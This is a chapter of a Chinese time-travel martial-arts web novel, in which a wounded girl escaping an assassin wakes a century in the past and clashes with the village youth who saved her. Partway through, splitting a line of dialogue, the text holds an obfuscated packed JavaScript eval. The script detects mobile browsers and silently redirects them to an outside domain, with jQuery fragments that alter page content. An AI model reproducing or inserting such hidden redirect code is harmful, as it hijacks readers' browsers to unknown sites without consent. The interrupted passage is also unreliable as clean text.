温家是个大家族,世代习武,有天生好苗子,也有充满遗憾的天才。
而她的舅舅温霁,就是充满遗憾的天才。
爹娘遇害那年,舅舅也不过二十五。正是意气风发,剑试天下的年纪,却因为救她与那黑衣人打了好几个来回,双腿被硬生生折断。
她被侍卫拼死抢回,数日后才在弥漫着苦涩药味的房间里看到舅舅苍白的脸,他却像变戏法似的摸出一块麦芽糖,对她扯出个笑容。
“阿渔别难过,以后长大了,就该轮到你保护舅舅啦。”
温拂渔便把这话记在了心里。
从此,她摒弃了所有孩童该有的无忧无虑,疯狂地压榨自己的身体潜能。日复一日的苦练,汗水浸透衣衫,淤青布满筋骨,竟也搏得外人一声声“温家又出天才”的赞叹。
可努力与天赋,外人分不清,温家那群老古板可分的很清楚。
他们清楚地知道,没了温霖,残了温霁的他们这支旁支已与烂泥无异,与其耗费珍贵资源去治愈一个“废人”,不如倾注在更有价值的新生代身上。
至于温拂渔?
小小年纪就如此阴郁,眼神冰冷,毫无她母亲当年的侠义明媚。族老们私下议论:这般丧气模样,怕是有损温家清名。
于是他们成了温家弃子。
眼见送来的草药日益敷衍,药效微乎其微,温拂渔冷着脸踏进城中最大的医馆,声音带着与年龄不符的冷硬:“药方给我,草药,我自己采。”
这样的日子持续了五年。
直到温拂渔十五岁那年,在摘草药的途中惨遭黑衣人追杀,她使劲浑身解数也无法战胜对方,便想着先一逃了之。
结果在逃亡途中,雨后的山路长满青苔,她脚下一滑,从山坡一路滚下了山崖。
掉下去的一瞬间,她恍惚见那人下意识地朝她坠落的方向伸出了手,同时她清晰地看见了他手背上的两道狰狞伤疤。
“原来是你……”温拂渔意识模糊,牙齿咬得咯咯作响,用尽最后力气嘶喊,“混蛋,我做鬼也不会放过你的……”
或许是这恨意太过强烈,意识沉入黑暗前,她竟恍惚感到一束奇异而温暖的光,轻柔地包裹住她,仿佛要抚平所有伤痛……
然后,她便落在了地上。
没有预想中粉身碎骨的剧痛,只有浑身散架般的钝痛与无数伤口的灼烧感。
温拂渔艰难地动了动身。
身下是松软的泥土和青草的气息,而非崖底的乱石泥沼。
她茫然地环顾四周,却发现身后根本没有万丈深渊,只有一片开满了不知名野花的小山坡。微风拂过,花浪起伏,绚烂得不似人间。
这是她……死前的幻想?
身体痛得无法直立,她几乎是爬着靠近那片花海。指尖拂过柔软的花瓣,少女沾满血污和泥土的脸上,竟露出一丝微不可察的笑意。
就在这时,身后传来轻微的脚步声。
温拂渔瞳孔骤缩,随手抓起一根尖锐的断枝,头也不回地狠狠向后掷去。
来人显然没料到这突如其来的袭击,仓促间狼狈闪避,断枝擦着他的衣角,深深插入他脚边的泥土里,尾端颤一颤的。
“嘶……”少年倒吸一口冷气,心有余悸地拍着胸口,“好险,差点就被刺穿……”
他抬眼看向攻击来源,声音戛然而止。
花丛边,一个衣衫褴褛浑身是血的少女,正死死瞪着他,他甚至能读出里面的杀意。
温拂渔本来刻意偏了点方位,但如今见他这反应速度,刚压下的警惕性再次冒出——这人身手不似普通人,莫不是那黑衣人伪装的?
“原来还是现实啊……”她喃喃道,又摸索了根长一点的树枝,身形摇晃而起,尖端指向少年,不由分说地就朝对方刺去。
背着药篓的少年彻底懵了。
“诶?姑娘,是不是有什么误会啊!”他一边狼狈地抱头鼠窜,一边试图解释,“我就是个路过采药的,骗你是小狗!”
他简直欲哭无泪。
刚帮村里李奶奶采完急需的凤尾草,想着抄个近路回家,怎么就撞上这么个煞星?
而且看她那满身伤,血都快流干了,怎么还能爆发出这么凶悍的战斗力!
可这时候的温拂渔哪听得见他那些话,一想到这黑衣人的罪行她就恨不得立刻把他千刀万剐。
于是两人一追一逃,在山坡上演着极其荒诞的一幕。
只是温拂渔这具身躯哪还抵地过她这般折腾,身体的虚弱感是瞬间而来的,随后她眼前阵阵发黑,便什么也看不见了。
被追杀的少年吓得心脏骤停,却突然察觉身后的攻势停下了,紧接着便是“噗通”一声重物倒地的闷响。
少年脚步一顿,惊疑不定地回头。
只见那凶悍的少女,像断了线的木偶,直挺挺地倒在花丛里,脸色惨白,一动不动。
少年小心翼翼地挪近几步,蹲下身,试探着伸出手指探了探她的鼻息。
嗯,还活着。
他看看少女惨烈的伤势,又看看自己装满草药的背篓,再看看不远处村落升起的炊烟,内心开始作斗争。
救,还是不救?
保不准救了之后他会被砍成臊子。
少年重重叹了口气,最终还是认命地放下药篓,动作尽量轻柔地将她背到自己的背上。
“没办法,青山门弟子就是有一副好心肠啊……”
他一手提起药篓,深一脚浅一脚地朝着家的方向走去,背影在夕阳下拉得老长。
*
温拂渔是被疼醒的。
她猛地睁开眼——
陌生的屋顶,简陋的梁木,身下是硬邦邦的木板床,身上盖着粗糙但干净的薄被。她被换上了一套不太合身的男装,身上大大小小的伤口都被涂抹了药膏。
她还活着。
是方才那名少年救的她吗?原来他不是坏人?
一想起方才自己跟个疯子般追着人家杀,她突然觉得好丢脸,一刻也不想在这里停留。于是她强忍剧痛,咬牙翻身下床走到窗边。
待她回家修养几日,下次再登门道歉吧。
正想着,门外却传来声音——
“哥!你以前捡些受伤的兔子山雀回来也就罢了,这次怎么捡个大活人?还占了我的床!”
“阿姝,小声点!”是那个少年的声音,“你是没看见她当时伤得有多重,倒在山坡上夸夸流血,再不管真会没命的,我总不能见死不救吧?”
听见他们的声音就在门口,温拂渔本来两个动作就能逃出去,但是如今身体抱恙,她连开个窗都很艰难。
“不过她很凶的,若她醒了你救稍微离她远点……”
温拂渔心头一紧,动作更快,双手抓住窗棂。同时房门被推开,二人交流的声音突然中断。
屋内烛光摇曳,屋外暮色沉沉。温拂渔一条腿跨在窗外,僵硬地回过头。
门口,少年手里拿着药膏,和一个与他眉眼相似的小姑娘正目瞪口呆地看着她这姿势。
空气瞬间凝固。
少年一愣:“诶?姑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252353|182024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娘你这是……”
温拂渔回过头,趁着对方愣神的瞬间,另一条腿也用力一蹬。可惜她动作太急,又高估了重伤身体的协调性,落地时脚下一软,竟被窗下一根低矮的树枝狠狠绊了一下。
“唔!”她差点摔倒。
“喂,你别乱动啊!”少年急了,把手里的药膏往妹妹手里一塞,“阿姝拿着,我去拦她!”说罢便敏捷地翻窗追了出来。
温拂渔忍着痛在小院到处穿梭。
这院子实在小得可怜,堆满了柴火和农具,走哪挡哪,原本拉开的距离很快就被对方追上。
眼见那手就要抓住她的肩膀,温拂渔一个侧身躲过,下意识一记横扫腿踹他腰侧。
“哎哟——”
少年猝不及防被踹了个正着,结结实实摔倒在地,疼地龇牙咧嘴,“我这是救了个什么祖宗啊……”
“抱歉,我不是故意的。”温拂渔回头道歉,脚下却不停歇地往外走。
然而,当她冲到院门口,望着眼前全然陌生的景象时,整个人却僵住了。
夕阳下,低矮的农舍错落,炊烟袅袅,远处是开满野花的山丘。没有高耸的城墙,没有熟悉的云陵城标志性的望楼。
云陵城……在哪边?
她想了想,终是又退回少年身侧,拽住手腕将他拉拎起,询问道:“请问这是哪?云陵城在哪个方向?”
少年本来以为自己还要遭到一顿毒打,结果却听见少女这般询问,他不禁疑惑道:“这里是万花庄啊。话说你说的那个云陵城……有这地方吗?”
少年疑惑云陵城,就像温拂渔疑惑万花庄一样。
万花庄?这个地方不是早就没了吗?抵不过天灾,地面四裂开来,成了一座孤崖,也就是她为舅舅摘草药的地方……
她沉浸在思考里,忘记手上抓着人手腕,力道不禁有些重,疼得少年倒吸一口凉气。
“你个坏蛋!快放开我哥哥!”
温拂渔闻声抬起头,便见一盒药膏从她身侧飞过,随后小姑娘跑过来,眼泪汪汪地捶打她:“你为什么要打哥哥!要不是他救你,你早就死了!我讨厌你讨厌你!”
小姑娘的拳头砸在伤口上,带来细密的刺痛,但温拂渔仿佛感觉不到了。
她任由连姝推搡,目光空洞地望着这片陌生的土地,一个荒谬绝伦的念头从她脑海闪过。
她声音干涩:“请问现在是哪一年?”
兄妹俩对视一眼:“呃……太初二十年?”
太初二十年。
这是个属于过去历史的年号,是距她所处时代的百年前。
温拂渔脑子里像是有什么炸开了。
她居然……穿越了?
这种只在话本子才会出现的情况?
那么,她又该如何回去?
一瞬间,方才那个顶着一身伤,做事果断,下手快准狠,仿佛什么都不怕的少女突然变得迷茫,像一株暴雨夜的蒲公英,脆弱得仿佛下一秒就会消散。
少年被她这突然转变的情绪弄得云里雾里,却还是捡起一旁孤零零的药膏递给她:“那个,其实我就是怕你出事才追着你的,你若是想离开,这药膏你拿着,回家后按时换药就好了。”
温拂渔没有伸手。
她慢慢地低下头,长长的睫毛剧烈颤抖着,在苍白的脸上投下浓重的阴影。
随后,一个极轻的声音从她唇间逸出,轻飘飘地落在暮色四合的小院里,却重得让人心头发颤。
“……家?”
“我……回不了家了。”